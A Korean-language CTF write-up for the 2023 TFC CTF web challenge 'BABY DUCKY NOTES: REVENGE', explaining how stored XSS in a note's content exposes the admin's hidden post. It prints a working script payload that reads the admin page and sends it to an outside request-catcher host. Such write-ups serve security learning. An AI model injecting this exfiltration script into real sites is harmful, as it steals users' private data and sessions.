Web BABY DUCKY NOTES: REVENGE

2023 TFC CTF WriteUp

안녕하세요?

이번 23년도 TFC CTF를 하면서 나왔던 문제에 대한 Write Up을 작성해보려고 해

이 문제 전 준비운동 문제인 ‘BABY DUCKY NOTES’ 같은 경우에는 admin의 글을 보려면 그냥 /posts/view/admin을 get 방식으로 들어가서 flag를 찾으면 되는 문제였습니다!

이번 문제는 2탄으로 역시 같은 방법으로는 admin의 글을 볼 수 없었다. (hidden으로 쓰인 상태)

간단하게 글에 XSS가 작동하는지 확인해보면,

잘 작동하는 모습이야. 이제 이것을 이용해서 운영자의 Session을 얻고 admin이 써 놓은 글을 확인하면 flag를 확인할 수 있다.

Payload(javascript)

Create의 Contents에 입력할 코드는 다음과 같다.

hi, Im bro7
<script>
  fetch("http://127.0.0.1:1337/posts/view/admin").then((response) =>
    response.text().then((resp) => {
      fetch("https://loybsga.request.dreamhack.games?"+encodeURIComponent(resp));
    })
  );
</script>

위 코드는 fetch 함수를 이용해서 해당 url의 응답값을 받고 그 응답값을 text로 변경해서 제 서버에 보내는 javascript 코드이다.

참고) fetch 사용법

fetch() 함수는 첫 번째 인자로 URL, 두 번째 인자로 옵션 객체를 받고, Promise 타입의 객체를 반환합니다. 반환 된 객체는, API 호출이 성공했을 경우에는 응답(response) 객체를 resolve하고, 실패했을 경우에는 예외(error) 객체를 reject합니다.

fetch(url, options)
  .then((response) => console.log("response:", response))
  .catch((error) => console.log("error:", error));

게시됨

카테고리

작성자

태그: